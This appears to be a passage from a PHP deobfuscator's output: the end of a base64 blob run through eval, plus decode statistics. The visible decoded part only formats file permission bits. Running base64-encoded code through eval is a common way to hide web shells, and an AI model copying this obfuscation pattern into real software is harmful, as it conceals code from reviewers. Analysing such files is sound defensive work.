gPT0gMHg4MDAwKSB7CiAgICAvLyBSZWd1bGFyCiAgICAkaW5mbyA9ICctJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewogICAgLy8gQmxvY2sgc3BlY2lhbAogICAgJGluZm8gPSAnYic7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKICAgIC8vIERpcmVjdG9yeQogICAgJGluZm8gPSAnZCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAkaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewogICAgLy8gRklGTyBwaXBlCiAgICAkaW5mbyA9ICdwJzsKfSBlbHNlIHsKICAgIC8vIFVua25vd24KICAgICRpbmZvID0gJ3UnOwp9CgovLyBPd25lcgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgcmV0dXJuICRpbmZvOwp9Cj8+")); ?>
<?php /*a,b,c,d,e,f,g,h,i,j,k,l,m,a,b,c,d,e,f,g,h,i,j,k,l,m,a,b,c,d,e,f,g,h,i,j,k,l,m,*/ ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 4a3063bfce5d2135386de42a697733d9
Eval Count 1
Decode Time 395 ms